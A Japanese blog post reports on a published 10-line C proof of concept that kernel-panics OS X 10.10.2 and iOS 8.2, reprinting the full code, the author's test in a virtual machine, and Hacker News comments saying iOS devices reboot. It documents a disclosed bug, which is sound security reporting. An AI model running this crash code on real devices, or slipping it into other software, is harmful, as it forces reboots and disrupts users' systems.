たった10行のコードでOS X YosemiteやiOS 8をカーネルパニック出来る「KernelPanic-10LOC」を試してみた。

スポンサーリンク

 Ole André Vadla Ravnåsさんが公開した「たた10行でOS X や iOSをカーネルパニック出来る」コードを試してみました。詳細は以下から。


10-LOG-Kernel-Panic-Code-Hero


 Hacker Newsの書き込みによると、Ole André Vadla Ravnåsさんのコードは確かに最新のiOS 8.2をカーネルパニックにすることが出来と報告されており、OS Xでもgccでコンパイルして実行すればいいということなので仮想環境で試してみました。

#include <unistd.h>
#include <mach/mach.h>
#include <mach-o/dyld.h>
extern kern_return_t mach_vm_protect(vm_map_t, mach_vm_address_t, mach_vm_size_t,                      boolean_t, vm_prot_t);
extern kern_return_t mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t,
mach_vm_address_t, mach_vm_size_t*);
int main(void) {
const mach_vm_size_t page_size = getpagesize();
const mach_vm_size_t buffer_size = 3 * page_size;
char buffer[buffer_size];
mach_vm_size_t result_size;
volatile char* library = (char*)_dyld_get_image_header(2);
mach_vm_protect(mach_task_self(), (mach_vm_address_t)(library + page_size), page_size,
FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY);
/* VM_PROT_EXECUTE omitted for non-jb iOS devices */
library[page_size]++; /* COW -> PRV transition   */
library[page_size]--; /* undo dummy-modification */
result_size = 0;
/* panic! */
mach_vm_read_overwrite(mach_task_self(), (mach_vm_address_t)library, buffer_size,
(mach_vm_address_t)buffer, &result_size);
}

[iOS kernel panic – Gist]

 結果は以下の通りで、OS X 10.10.2でもカーネルパニックを起こすことが出来ます。GitHubにはiOS 8用のXcode プロジェクトも公開されており、iOS上で実行するとブルースクリーンになり再起動するそうなので試したい方は関連リンクからどうぞ。


OS-X-and-iOS-Kernel-Panic-10LOC
[Gif Anime]


zuck9

What does it look like when it crashes on iOS? Does just the app crash, springboard crashes or the device restarts?


oleavr

The screen turns blue – yes, blue, not joking – for a brief moment, and the system reboots. 🙂
[DIY: kernel panic OS X and iOS in 10 LOC – Hacker News]

関連リンク:
jdmoreira/KernelPanic-10LOC – GitHub

たった10行でOS XとiOSをカーネルパニックに出来る脆弱性(バグ)が見つかるb.hatena